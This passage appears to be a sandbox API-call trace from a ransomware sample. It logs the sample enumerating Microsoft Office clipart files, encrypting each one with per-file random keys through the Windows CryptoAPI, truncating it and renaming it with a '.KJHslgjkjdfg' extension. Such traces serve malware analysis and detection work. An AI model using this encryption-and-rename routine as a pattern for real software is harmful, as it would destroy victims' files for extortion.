dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.062] GetProcessHeap () returned 0x2ef0000 [0198.062] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.062] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.062] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.062] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.062] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.062] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.062] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.062] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.062] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.062] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.063] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1016, lpOverlapped=0x0) returned 1 [0198.064] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1020, dwBufLen=0x1020 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1020) returned 1 [0198.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.064] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1020, lpOverlapped=0x0) returned 1 [0198.064] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.064] SetEndOfFile (hFile=0x130) returned 1 [0198.067] GetProcessHeap () returned 0x2ef0000 [0198.067] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.067] GetProcessHeap () returned 0x2ef0000 [0198.067] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.kjhslgjkjdfg")) returned 1 [0198.069] CloseHandle (hObject=0x130) returned 1 [0198.069] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1 [0198.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.070] GetProcessHeap () returned 0x2ef0000 [0198.070] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.070] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.070] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0198.072] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.072] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.072] GetProcessHeap () returned 0x2ef0000 [0198.072] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.072] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.072] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.072] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.073] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.073] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.073] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.073] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.073] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.073] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.073] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcd2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcd2, lpOverlapped=0x0) returned 1 [0198.073] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xce0, dwBufLen=0xce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xce0) returned 1 [0198.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.073] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xce0, lpOverlapped=0x0) returned 1 [0198.074] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.074] SetEndOfFile (hFile=0x130) returned 1 [0198.076] GetProcessHeap () returned 0x2ef0000 [0198.076] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.077] GetProcessHeap () returned 0x2ef0000 [0198.077] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.kjhslgjkjdfg")) returned 1 [0198.078] CloseHandle (hObject=0x130) returned 1 [0198.078] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1 [0198.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.079] GetProcessHeap () returned 0x2ef0000 [0198.079] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.079] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.079] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0198.083] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.083] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.083] GetProcessHeap () returned 0x2ef0000 [0198.083] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.083] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.083] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.083] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.083] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.084] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.084] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.084] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.084] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.084] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.084] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4162, lpOverlapped=0x0) returned 1 [0198.085] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4170, dwBufLen=0x4170 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4170) returned 1 [0198.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.085] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4170, lpOverlapped=0x0) returned 1 [0198.085] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.085] SetEndOfFile (hFile=0x130) returned 1 [0198.088] GetProcessHeap () returned 0x2ef0000 [0198.088] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.088] GetProcessHeap () returned 0x2ef0000 [0198.088] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.kjhslgjkjdfg")) returned 1 [0198.095] CloseHandle (hObject=0x130) returned 1 [0198.095] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1 [0198.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.096] GetProcessHeap () returned 0x2ef0000 [0198.096] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.096] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.096] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.096] GetProcessHeap () returned 0x2ef0000 [0198.096] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.096] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.096] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.099] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.099] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.099] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.099] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.099] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.099] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.099] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5fd0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5fd0, lpOverlapped=0x0) returned 1 [0198.100] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5fd0, dwBufLen=0x5fd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5fd0) returned 1 [0198.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.101] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5fd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5fd0, lpOverlapped=0x0) returned 1 [0198.101] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x60a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.101] SetEndOfFile (hFile=0x130) returned 1 [0198.102] GetProcessHeap () returned 0x2ef0000 [0198.102] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.103] GetProcessHeap () returned 0x2ef0000 [0198.103] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.kjhslgjkjdfg")) returned 1 [0198.104] CloseHandle (hObject=0x130) returned 1 [0198.104] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1 [0198.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.105] GetProcessHeap () returned 0x2ef0000 [0198.105] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.105] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.105] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.107] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.107] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.107] GetProcessHeap () returned 0x2ef0000 [0198.107] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.107] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.107] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.107] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.107] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.108] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 